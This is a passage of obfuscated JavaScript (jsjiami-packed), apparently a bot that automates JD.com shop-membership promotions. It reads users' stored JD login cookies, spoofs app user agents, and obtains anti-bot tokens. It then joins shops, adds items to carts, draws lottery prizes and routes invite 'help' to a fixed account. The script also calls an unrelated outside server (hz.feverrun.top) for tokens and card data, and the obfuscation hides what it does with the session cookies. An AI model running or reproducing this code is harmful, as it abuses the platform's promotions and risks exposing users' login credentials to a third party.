{if(_0xb3c0x21== __Oxef3e3[0x1]){_0xb3c0x21= __Oxef3e3[0x1]}else {_0xb3c0x21= _0xb3c0x21;$[__Oxef3e3[0x1d]]= _0xb3c0x21}}}catch(e){_0xb3c0x21= __Oxef3e3[0x1];$[__Oxef3e3[0x1d]]= __Oxef3e3[0x1]}finally{_0xb3c0x1e(_0xb3c0x21|| __Oxef3e3[0x1])}})})}function getCard(_0xb3c0x51){return new Promise((_0xb3c0x1e)=>{$[__Oxef3e3[0xfc]]({url:`${__Oxef3e3[0x1]}${url2}${__Oxef3e3[0x122]}${_0xb3c0x51}${__Oxef3e3[0x1]}`,headers:{"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":ver2},timeout:99000},(_0xb3c0x1f,_0xb3c0x20,_0xb3c0x21)=>{try{if(_0xb3c0x1f){console[__Oxef3e3[0xf]](`${__Oxef3e3[0x121]}`)}else {_0xb3c0x21= _0xb3c0x21}}catch(e){}finally{_0xb3c0x1e(_0xb3c0x21|| __Oxef3e3[0x1])}})})}function getToken(){return new Promise((_0xb3c0x1e)=>{$[__Oxef3e3[0xfc]]({url:`${__Oxef3e3[0x1]}${url1}${__Oxef3e3[0x123]}`,headers:{"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":ver1},timeout:99000},(_0xb3c0x1f,_0xb3c0x20,_0xb3c0x21)=>{try{if(_0xb3c0x1f){console[__Oxef3e3[0xf]](`${__Oxef3e3[0x121]}`)}else {try{_0xb3c0x21= JSON[__Oxef3e3[0x9a]](_0xb3c0x21);if(_0xb3c0x21[__Oxef3e3[0x124]]== 0){_0xb3c0x21= _0xb3c0x21[__Oxef3e3[0xa4]]}else {_0xb3c0x21= __Oxef3e3[0x1]}}catch(e){_0xb3c0x21= __Oxef3e3[0x1]}}}catch(e){}finally{_0xb3c0x1e(_0xb3c0x21|| __Oxef3e3[0x1])}})})}function random(_0xb3c0x54,_0xb3c0x55){return Math[__Oxef3e3[0xda]](Math[__Oxef3e3[0x2a]]()* (_0xb3c0x55- _0xb3c0x54))+ _0xb3c0x54}(function(_0xb3c0x2d,_0xb3c0x3a,_0xb3c0x56,_0xb3c0x57,_0xb3c0x58,_0xb3c0x4e){_0xb3c0x4e= __Oxef3e3[0x9f];_0xb3c0x57= function(_0xb3c0x59){if( typeof alert!== _0xb3c0x4e){alert(_0xb3c0x59)};if( typeof console!== _0xb3c0x4e){console[__Oxef3e3[0xf]](_0xb3c0x59)}};_0xb3c0x56= function(_0xb3c0x31,_0xb3c0x2d){return _0xb3c0x31+ _0xb3c0x2d};_0xb3c0x58= _0xb3c0x56(__Oxef3e3[0x125],_0xb3c0x56(_0xb3c0x56(__Oxef3e3[0x126],__Oxef3e3[0x127]),__Oxef3e3[0x128]));try{_0xb3c0x2d= __encode;if(!( typeof _0xb3c0x2d!== _0xb3c0x4e&& _0xb3c0x2d=== _0xb3c0x56(__Oxef3e3[0x129],__Oxef3e3[0x12a]))){_0xb3c0x57(_0xb3c0x58)}}catch(e){_0xb3c0x57(_0xb3c0x58)}})({}) +var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxefe75=["\x63\x72\x79\x70\x74\x6F\x2D\x6A\x73","","\x6A\x64\x61\x70\x70\x3B\x61\x6E\x64\x72\x6F\x69\x64\x3B\x31\x31\x2E\x31\x2E\x34\x3B\x6A\x64\x53\x75\x70\x70\x6F\x72\x74\x44\x61\x72\x6B\x4D\x6F\x64\x65\x2F\x30\x3B\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x4C\x69\x6E\x75\x78\x3B\x20\x41\x6E\x64\x72\x6F\x69\x64\x20\x31\x30\x3B\x20\x50\x43\x43\x4D\x30\x30\x20\x42\x75\x69\x6C\x64\x2F\x51\x4B\x51\x31\x2E\x31\x39\x31\x30\x32\x31\x2E\x30\x30\x32\x3B\x20\x77\x76\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x35\x33\x37\x2E\x33\x36\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x20\x56\x65\x72\x73\x69\x6F\x6E\x2F\x34\x2E\x30\x20\x43\x68\x72\x6F\x6D\x65\x2F\x38\x39\x2E\x30\x2E\x34\x33\x38\x39\x2E\x37\x32\x20\x4D\x51\x51\x42\x72\x6F\x77\x73\x65\x72\x2F\x36\x2E\x32\x20\x54\x42\x53\x2F\x30\x34\x36\x30\x31\x31\x20\x4D\x6F\x62\x69\x6C\x65\x20\x53\x61\x66\x61\x72\x69\x2F\x35\x33\x37\x2E\x33\x36","\x6A\x64\x61\x70\x70\x3B\x61\x6E\x64\x72\x6F\x69\x64\x3B\x31\x31\x2E\x32\x2E\x34\x3B\x6A\x64\x53\x75\x70\x70\x6F\x72\x74\x44\x61\x72\x6B\x4D\x6F\x64\x65\x2F\x30\x3B\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x4C\x69\x6E\x75\x78\x3B\x20\x41\x6E\x64\x72\x6F\x69\x64\x20\x31\x30\x3B\x20\x50\x43\x43\x4D\x30\x30\x20\x42\x75\x69\x6C\x64\x2F\x51\x4B\x51\x31\x2E\x31\x39\x31\x30\x32\x31\x2E\x30\x30\x32\x3B\x20\x77\x76\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x35\x33\x37\x2E\x33\x36\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x20\x56\x65\x72\x73\x69\x6F\x6E\x2F\x34\x2E\x30\x20\x43\x68\x72\x6F\x6D\x65\x2F\x38\x39\x2E\x30\x2E\x34\x33\x38\x39\x2E\x37\x32\x20\x4D\x51\x51\x42\x72\x6F\x77\x73\x65\x72\x2F\x36\x2E\x32\x20\x54\x42\x53\x2F\x30\x34\x36\x30\x31\x31\x20\x4D\x6F\x62\x69\x6C\x65\x20\x53\x61\x66\x61\x72\x69\x2F\x35\x33\x37\x2E\x33\x36","\x68\x74\x74\x70\x3A\x2F\x2F\x68\x7A\x2E\x66\x65\x76\x65\x72\x72\x75\x6E\x2E\x74\x6F\x70\x3A\x39\x39\x2F\x73\x68\x61\x72\x65\x2F\x63\x61\x72\x64\x2F\x67\x65\x74\x54\x6F\x6B\x65\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x68\x7A\x2E\x66\x65\x76\x65\x72\x72\x75\x6E\x2E\x74\x6F\x70\x3A\x39\x39\x2F\x73\x68\x61\x72\x65\x2F\x63\x61\x72\x64\x2F\x67\x65\x74\x43\x61\x72\x64","\x69\x73\x4E\x6F\x64\x65","\x70\x75\x73\x68","\x66\x6F\x72\x45\x61\x63\x68","\x6B\x65\x79\x73","\x44\x50\x4C\x48\x54\x59","\x65\x6E\x76","\x44\x50\x4C\x48\x54\x59\x5F\x44\x52\x41\x57\x4E\x55\x4D","\x4A\x44\x5F\x44\x45\x42\x55\x47","\x66\x61\x6C\x73\x65","\x6C\x6F\x67","\x66\x69\x6C\x74\x65\x72","\x43\x6F\x6F\x6B\x69\x65\x4A\x44","\x67\x65\x74\x64\x61\x74\x61","\x43\x6F\x6F\x6B\x69\x65\x4A\x44\x32","\x63\x6F\x6F\x6B\x69\x65","\x6D\x61\x70","\x43\x6F\x6F\x6B\x69\x65\x73\x4A\x44","\x5B\x5D","\x68\x6F\x74\x46\x6C\x61\x67","\x6F\x75\x74\x46\x6C\x61\x67","\x61\x63\x74\x69\x76\x69\x74\x79\x45\x6E\x64","\x74\x72\x79\x42\x61\x6E\x64\x69\x6E\x67","\x74\x72\x79\x4D\x69\x73\x73\x69\x6F\x6E","\x61\x75\x74\x68\x6F\x72\x69\x6E\x76\x69\x74\x65\x4E\x69\x63\x6B","\x75\x73\x65\x64\x43\x68\x61\x6E\x63\x65","\x64\x6F\x6E\x65","\x66\x69\x6E\x61\x6C\x6C\x79","\x6C\x6F\x67\x45\x72\x72","\x63\x61\x74\x63\x68","\x6E\x61\x6D\x65","\u3010\u63D0\u793A\u3011\u8BF7\u5148\u83B7\u53D6\x63\x6F\x6F\x6B\x69\x65\x0A\u76F4\u63A5\u4F7F\u7528\x4E\x6F\x62\x79\x44\x61\u7684\u4EAC\u4E1C\u7B7E\u5230\u83B7\u53D6","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x62\x65\x61\x6E\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F","\x6D\x73\x67","\u3010\u4FDD\u62A4\u73AF\u5883\u3011\x68\x74\x74\x70\x73\x3A\x2F\x2F\x74\x2E\x6D\x65\x2F\x70\x72\x6F\x65\x6E\x76\x63\x20\u63D0\u9192\u4F60\x3A","\x65\x78\x70\x6F\x72\x74\x20\x44\x50\x4C\x48\x54\x59\x3D\x22\u6D3B\u52A8\x49\x64\x22\x20\u672A\u8BBE\u7F6E\x20\u9000\u51FA\uFF01\uFF01\uFF01","\u6D3B\u52A8\x49\x64\x3A","\x72\x61\x6E\x64\x6F\x6D","\x77\x61\x69\x74","\x22","\x72\x65\x70\x6C\x61\x63\x65\x41\x6C\x6C","\x5C\x2F","\x2F","\x69\x6E\x76\x69\x74\x65\x4E\x69\x63\x6B","\x61\x70\x70\x6B\x65\x79","\x35\x31\x42\x35\x39\x42\x42\x38\x30\x35\x39\x30\x33\x44\x41\x34\x43\x45\x35\x31\x33\x44\x32\x39\x45\x43\x34\x34\x38\x33\x37\x35","\x75\x73\x65\x72\x49\x64","\x31\x30\x32\x39\x39\x31\x37\x31","\x61\x63\x74\x49\x64","\x4D\x69\x78\x4E\x69\x63\x6B\x73","\x6C\x65\x6E\x67\x74\x68","\x55\x73\x65\x72\x4E\x61\x6D\x65","\x6D\x61\x74\x63\x68","\x69\x6E\x64\x65\x78","\x62\x65\x61\x6E","\x6E\x69\x63\x6B\x4E\x61\x6D\x65","\x2A\x2A\x2A\x2A\x2A\x2A\u5F00\u59CB\u3010\u4EAC\u4E1C\u8D26\u53F7","\u3011","\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A","\x4D\x69\x78\x4E\x69\x63\x6B","\u6B64\x69\x70\u5DF2\u88AB\u9650\u5236\uFF0C\u8BF7\u8FC7\x31\x30\u5206\u949F\u540E\u518D\u6267\u884C\u811A\u672C","\x73\x65\x6E\x64\x4E\x6F\x74\x69\x66\x79","\x68\x61\x73\x45\x6E\x64","\x65\x6E\x64\x54\x69\x6D\x65","\x54\x6F\x6B\x65\x6E","\x50\x69\x6E","\x69\x73\x76\x4F\x62\x66\x75\x73\x63\x61\x74\x6F\x72","\u83B7\u53D6\x5B\x74\x6F\x6B\x65\x6E\x5D\u5931\u8D25\uFF01","\x61\x63\x74\x69\x76\x69\x74\x79\x5F\x6C\x6F\x61\x64","\u91CD\u8BD5\x3A\x20","\u6B21","\u6B64\x69\x70\u5DF2\u88AB\u9650\u5236\uFF0C\u8BF7\u8FC7\x31\x30\u5206\u949F\u540E\u518D\u6267\u884C\u811A\u672C\x0A","\x6E\x6F\x77","\u6D3B\u52A8\u7ED3\u675F","\u83B7\u53D6\x63\x6F\x6F\x6B\x69\x65\u5931\u8D25","\x74\x6F\x42\x69\x6E\x64","\u7ED1\u5B9A","\x6F\x70\x65\x6E\x43\x61\x72\x64\x4C\x6F\x61\x64","\u5168\u90E8\u5361\x3A","\x75\x73\x65\x72\x49\x64\x4C\x69\x73\x74","\u9700\u8981\u5F00\x3A","\x75\x73\x65\x72\x49\x64\x4E\x65\x65\x64\x4C\x69\x73\x74","\u5F00\u5361","\u5F20","\x6D\x69\x73\x73\x69\x6F\x6E\x54\x79\x70\x65","\x6F\x70\x65\x6E\x43\x61\x72\x64","\x6A\x6F\x69\x6E\x56\x65\x6E\x64\x65\x72\x49\x64","\u53BB\u5F00\u5361\x3A\x20","\x6D\x69\x73\x73\x69\x6F\x6E","\u6D3B\u52A8\u592A\u706B\u7206\uFF0C\u8BF7\u7A0D\u540E\u518D\u8BD5","\x69\x6E\x64\x65\x78\x4F\x66","\x65\x72\x72\x6F\x72\x4A\x6F\x69\x6E\x53\x68\x6F\x70","\u52A0\u5165\u5E97\u94FA\u4F1A\u5458\u5931\u8D25","\u7B2C\x31\u6B21\u91CD\u8BD5","\u7B2C\x32\u6B21\u91CD\u8BD5","\u7B2C\x33\u6B21\u91CD\u8BD5","\x68\x61\x73\x43\x6F\x6C\x6C\x65\x63\x74\x53\x68\x6F\x70","\x75\x6E\x69\x74\x65\x43\x6F\x6C\x6C\x65\x63\x74\x53\x68\x6F\x70","\u5DF2\u7ECF\u5173\u6CE8","\x75\x6E\x69\x74\x65\x41\x64\x64\x43\x61\x72\x74","\x72\x75\x6E\x46\x61\x6C\x61\x67","\u62BD\u5956\u6B21\u6570\u4E3A\x3A","\u9ED8\u8BA4\u6267\u884C\u62BD\u5956","\u7B2C","\u6B21\u62BD\u5956","\u62BD\u5956","\u62BD\u5956\u592A\u591A\u6B21","\x6D\x79\x41\x77\x61\x72\x64","\x6D\x69\x73\x73\x69\x6F\x6E\x49\x6E\x76\x69\x74\x65\x4C\x69\x73\x74","\u5F53\u524D\u52A9\u529B\x3A","\u540E\u9762\u7684\u53F7\u90FD\u4F1A\u52A9\u529B\x3A","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6A\x69\x6E\x67\x67\x65\x6E\x67\x6A\x63\x71\x2D\x69\x73\x76\x2E\x69\x73\x76\x6A\x63\x6C\x6F\x75\x64\x2E\x63\x6F\x6D","\x50\x4F\x53\x54","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x63\x6C\x69\x65\x6E\x74\x2E\x61\x63\x74\x69\x6F\x6E\x3F\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D\x69\x73\x76\x4F\x62\x66\x75\x73\x63\x61\x74\x6F\x72","\x2F\x64\x6D\x2F\x66\x72\x6F\x6E\x74\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x61\x63\x74\x69\x76\x69\x74\x79\x5F\x6C\x6F\x61\x64\x3F\x6D\x69\x78\x5F\x6E\x69\x63\x6B\x3D","\x30\x31","\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x61\x63\x74\x69\x76\x69\x74\x79\x5F\x6C\x6F\x61\x64","\x2F\x64\x6D\x2F\x66\x72\x6F\x6E\x74\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x73\x68\x6F\x70\x4C\x69\x73\x74\x3F\x6D\x69\x78\x5F\x6E\x69\x63\x6B\x3D","\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x73\x68\x6F\x70\x4C\x69\x73\x74","\x73\x68\x6F\x70\x4C\x69\x73\x74","\x2F\x64\x6D\x2F\x66\x72\x6F\x6E\x74\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x73\x68\x6F\x70\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4C\x6F\x61\x64\x3F\x6F\x70\x65\x6E\x5F\x69\x64\x3D\x26\x6D\x69\x78\x5F\x6E\x69\x63\x6B\x3D","\x26\x75\x73\x65\x72\x5F\x69\x64\x3D","\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x73\x68\x6F\x70\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4C\x6F\x61\x64","\x2F\x64\x6D\x2F\x66\x72\x6F\x6E\x74\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x63\x6F\x6D\x70\x6C\x65\x74\x65\x2F\x6D\x69\x73\x73\x69\x6F\x6E\x3F\x6D\x69\x78\x5F\x6E\x69\x63\x6B\x3D","\x72\x65\x6C\x61\x74\x69\x6F\x6E\x42\x69\x6E\x64","\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x63\x6F\x6D\x70\x6C\x65\x74\x65\x2F\x6D\x69\x73\x73\x69\x6F\x6E","\x2F\x64\x6D\x2F\x66\x72\x6F\x6E\x74\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x64\x72\x61\x77\x2F\x70\x6F\x73\x74\x3F\x6D\x69\x78\x5F\x6E\x69\x63\x6B\x3D","\x64\x72\x61\x77","\x32","\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x64\x72\x61\x77\x2F\x70\x6F\x73\x74","\x2F\x64\x6D\x2F\x66\x72\x6F\x6E\x74\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x66\x6F\x6C\x6C\x6F\x77\x53\x68\x6F\x70\x3F\x6D\x69\x78\x5F\x6E\x69\x63\x6B\x3D","\x63\x6F\x6C\x6C\x65\x63\x74\x53\x68\x6F\x70","\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x66\x6F\x6C\x6C\x6F\x77\x53\x68\x6F\x70","\x66\x6F\x6C\x6C\x6F\x77\x53\x68\x6F\x70","\x2F\x64\x6D\x2F\x66\x72\x6F\x6E\x74\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x61\x64\x64\x43\x61\x72\x74\x3F\x6D\x69\x78\x5F\x6E\x69\x63\x6B\x3D","\x61\x64\x64\x43\x61\x72\x74","\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x61\x64\x64\x43\x61\x72\x74","\x2F\x64\x6D\x2F\x66\x72\x6F\x6E\x74\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x6D\x79\x41\x77\x61\x72\x64\x73\x3F\x6D\x69\x78\x5F\x6E\x69\x63\x6B\x3D","\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x6D\x79\x41\x77\x61\x72\x64\x73","\x2F\x64\x6D\x2F\x66\x72\x6F\x6E\x74\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x6D\x69\x73\x73\x69\x6F\x6E\x49\x6E\x76\x69\x74\x65\x4C\x69\x73\x74\x3F\x6D\x69\x78\x5F\x6E\x69\x63\x6B\x3D","\x73\x68\x61\x72\x65\x41\x63\x74","\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x6D\x69\x73\x73\x69\x6F\x6E\x49\x6E\x76\x69\x74\x65\x4C\x69\x73\x74","\u9519\u8BEF","\x73\x74\x61\x74\x75\x73\x43\x6F\x64\x65","\x74\x6F\x53\x74\x72","\x20\x41\x50\x49\u8BF7\u6C42\u5931\u8D25\uFF0C\u8BF7\u68C0\u67E5\u7F51\u8DEF\u91CD\u8BD5","\x70\x6F\x73\x74","\x61\x63\x63\x65\x73\x73\x4C\x6F\x67\x57\x69\x74\x68\x41\x44","\x64\x72\x61\x77\x43\x6F\x6E\x74\x65\x6E\x74","\x70\x61\x72\x73\x65","\x20\u6267\u884C\u4EFB\u52A1\u5F02\u5E38","\x6F\x62\x6A\x65\x63\x74","\x65\x72\x72\x63\x6F\x64\x65","\x74\x6F\x6B\x65\x6E","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6D\x65\x73\x73\x61\x67\x65","\x20","\x73\x75\x63\x63\x65\x73\x73","\x6F\x70\x65\x6E\x4C\x69\x73\x74","\x64\x61\x74\x61","\x6F\x70\x65\x6E","\x76\x61\x6C\x75\x65\x73","\x6C\x6F\x61\x64\x55\x6E\x69\x74\x65\x4F\x70\x65\x6E\x43\x61\x72\x64","\x73\x65\x74\x4D\x69\x78\x4E\x69\x63\x6B","\x75\x6E\x69\x74\x65\x4F\x70\x65\x6E\x43\x61\x72\x64\x4F\x6E\x65","\x63\x68\x65\x63\x6B\x4F\x70\x65\x6E\x43\x61\x72\x64","\u5173\u6CE8","\u52A0\u8D2D","\x73\x74\x61\x74\x75\x73","\x69\x73\x4F\x70\x65\x6E\x43\x61\x72\x64","\x72\x65\x6D\x61\x72\x6B","\x3A","\u7ED1\u5B9A\u6210\u529F","\x63\x75\x73\x41\x63\x74\x69\x76\x69\x74\x79","\x62\x75\x79\x65\x72\x4E\x69\x63\x6B","\x6D\x69\x73\x73\x69\x6F\x6E\x43\x75\x73\x74\x6F\x6D\x65\x72","\u4E0D\u662F\u4F1A\u5458","\x75\x6E\x69\x74\x65\x4F\x70\x65\x6E\x43\x61\x72","\u6211\u7684\u5956\u54C1\uFF1A","\x6C\x69\x73\x74","\x61\x77\x61\x72\x64\x44\x65\x73","\u5171\u83B7\u5F97","\u4EAC\u8C46\x20\u65E0\u6CD5\u5224\u65AD\u5956\u52B1\u662F\u5426\u4E3A\u9080\u8BF7\u5956\u52B1\uFF0C\u6240\u4EE5\u76F4\u63A5\u663E\u793A\u83B7\u5F97\u591A\u5C11\u8C46","\u9080\u8BF7\u4EBA\u6570\x28","\x74\x6F\x74\x61\x6C","\x69\x6E\x76\x69\x74\x65\x64\x4C\x6F\x67\x4C\x69\x73\x74","\x29","\u6D3B\u52A8\u672A\u5F00\u59CB","\x65\x72\x72\x6F\x72\x4D\x65\x73\x73\x61\x67\x65","\u706B\u7206","\u62E5\u5835","\x20\u62E5\u5835","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x6A\x73\x6F\x6E","\x67\x7A\x69\x70\x2C\x20\x64\x65\x66\x6C\x61\x74\x65\x2C\x20\x62\x72","\x7A\x68\x2D\x63\x6E","\x6B\x65\x65\x70\x2D\x61\x6C\x69\x76\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x55\x41","\x58\x4D\x4C\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x4F\x72\x69\x67\x69\x6E","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x6A\x73\x6F\x6E\x3B\x20\x63\x68\x61\x72\x73\x65\x74\x3D\x75\x74\x66\x2D\x38","\x43\x6F\x6F\x6B\x69\x65","\x32\x2E\x30","\x61\x64\x6D\x4A\x73\x6F\x6E","\x70\x61\x72\x61\x6D\x73","\x61\x73\x73\x69\x67\x6E","\x73\x69\x67\x6E","\x63\x6F\x6D\x6D\x6F\x6E\x50\x61\x72\x61\x6D\x65\x74\x65\x72","\x74\x69\x6D\x65\x73\x74\x61\x6D\x70","\x74\x69\x6D\x65\x53\x74\x61\x6D\x70","\x6A\x64\x61\x70\x70\x3B\x69\x50\x68\x6F\x6E\x65\x3B\x31\x30\x2E\x34\x2E\x36\x3B\x31\x33\x2E\x31\x2E\x32\x3B","\x3B\x6E\x65\x74\x77\x6F\x72\x6B\x2F\x77\x69\x66\x69\x3B\x6D\x6F\x64\x65\x6C\x2F\x69\x50\x68\x6F\x6E\x65\x38\x2C\x31\x3B\x61\x64\x64\x72\x65\x73\x73\x69\x64\x2F\x32\x33\x30\x38\x34\x36\x30\x36\x31\x31\x3B\x61\x70\x70\x42\x75\x69\x6C\x64\x2F\x31\x36\x37\x38\x31\x34\x3B\x6A\x64\x53\x75\x70\x70\x6F\x72\x74\x44\x61\x72\x6B\x4D\x6F\x64\x65\x2F\x30\x3B\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x69\x50\x68\x6F\x6E\x65\x3B\x20\x43\x50\x55\x20\x69\x50\x68\x6F\x6E\x65\x20\x4F\x53\x20\x31\x33\x5F\x31\x5F\x32\x20\x6C\x69\x6B\x65\x20\x4D\x61\x63\x20\x4F\x53\x20\x58\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x36\x30\x35\x2E\x31\x2E\x31\x35\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x20\x4D\x6F\x62\x69\x6C\x65\x2F\x31\x35\x45\x31\x34\x38\x3B\x73\x75\x70\x70\x6F\x72\x74\x4A\x44\x53\x48\x57\x4B\x2F\x31","\x61\x62\x63\x64\x65\x66\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39","\x66\x6C\x6F\x6F\x72","\x63\x68\x61\x72\x41\x74","\x73\x74\x72\x69\x6E\x67","\u8BF7\u52FF\u968F\u610F\u5728\x42\x6F\x78\x4A\x73\u8F93\u5165\u6846\u4FEE\u6539\u5185\u5BB9\x0A\u5EFA\u8BAE\u901A\u8FC7\u811A\u672C\u53BB\u83B7\u53D6\x63\x6F\x6F\x6B\x69\x65","\x38\x35\x36\x32\x33\x33\x31\x32\x30\x34\x34\x32\x35\x38\x34\x36\x34\x33\x32\x35\x32\x32\x37\x36\x36\x36\x38\x38\x33\x35\x34\x36","\x32\x35\x37\x34\x37\x37\x31\x37","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x27","\x67","\x7E","\x25\x32\x37","\x72\x65\x70\x6C\x61\x63\x65","\x25\x37\x45","\x61\x70\x70\x4B\x65\x79","\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x73\x68\x6F\x70\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64","\x2C\x22\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x22\x3A","\x7B\x22\x76\x65\x6E\x64\x65\x72\x49\x64\x22\x3A\x22","\x22\x2C\x22\x73\x68\x6F\x70\x49\x64\x22\x3A\x22","\x22\x2C\x22\x62\x69\x6E\x64\x42\x79\x56\x65\x72\x69\x66\x79\x43\x6F\x64\x65\x46\x6C\x61\x67\x22\x3A\x31\x2C\x22\x72\x65\x67\x69\x73\x74\x65\x72\x45\x78\x74\x65\x6E\x64\x22\x3A\x7B\x7D\x2C\x22\x77\x72\x69\x74\x65\x43\x68\x69\x6C\x64\x46\x6C\x61\x67\x22\x3A\x30\x2C\x22\x63\x68\x61\x6E\x6E\x65\x6C\x22\x3A\x34\x30\x36\x7D","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x63\x6C\x69\x65\x6E\x74\x2E\x61\x63\x74\x69\x6F\x6E\x3F\x61\x70\x70\x69\x64\x3D\x6A\x64\x5F\x73\x68\x6F\x70\x5F\x6D\x65\x6D\x62\x65\x72\x26\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D\x62\x69\x6E\x64\x57\x69\x74\x68\x56\x65\x6E\x64\x65\x72\x26\x62\x6F\x64\x79\x3D","\x26\x63\x6C\x69\x65\x6E\x74\x3D\x48\x35\x26\x63\x6C\x69\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x3D\x39\x2E\x32\x2E\x30\x26\x75\x75\x69\x64\x3D\x38\x38\x38\x38\x38\x26\x68\x35\x73\x74\x3D","\x74\x65\x78\x74\x2F\x70\x6C\x61\x69\x6E\x3B\x20\x43\x68\x61\x72\x73\x65\x74\x3D\x55\x54\x46\x2D\x38","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D","\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D","\x2A\x2F\x2A","\x74\x6F\x4F\x62\x6A","\x72\x65\x73\x75\x6C\x74","\x67\x69\x66\x74\x49\x6E\x66\x6F","\x67\x69\x66\x74\x4C\x69\x73\x74","\u5165\u4F1A\u83B7\u5F97\x3A","\x64\x69\x73\x63\x6F\x75\x6E\x74\x53\x74\x72\x69\x6E\x67","\x70\x72\x69\x7A\x65\x4E\x61\x6D\x65","\x73\x65\x63\x6F\x6E\x64\x4C\x69\x6E\x65\x44\x65\x73\x63","\x67\x65\x74","\x79\x79\x79\x79\x4D\x4D\x64\x64\x68\x68\x6D\x6D\x73\x73\x53\x53\x53","\x3B","\x3B\x65\x66\x37\x39\x61\x3B\x74\x6B\x30\x32\x77\x37\x31\x34\x31\x31\x61\x39\x65\x31\x38\x6E\x38\x6A\x6D\x6D\x44\x4B\x48\x4D\x35\x71\x59\x32\x47\x51\x45\x48\x4E\x38\x4D\x45\x44\x6E\x78\x6E\x4D\x4E\x42\x56\x55\x47\x56\x49\x74\x52\x65\x65\x54\x33\x30\x46\x78\x41\x33\x4E\x49\x6F\x49\x6A\x71\x70\x57\x54\x37\x54\x65\x38\x62\x46\x33\x37\x46\x4A\x32\x57\x2B\x57\x7A\x69\x69\x78\x4C\x48\x68\x46\x30\x31\x3B\x33\x39\x32\x63\x66\x39\x62\x61\x64\x65\x34\x65\x31\x62\x30\x32\x65\x36\x66\x61\x38\x33\x63\x31\x64\x34\x37\x64\x37\x66\x31\x32\x34\x35\x65\x35\x61\x37\x61\x65\x39\x65\x62\x39\x32\x36\x34\x35\x31\x34\x32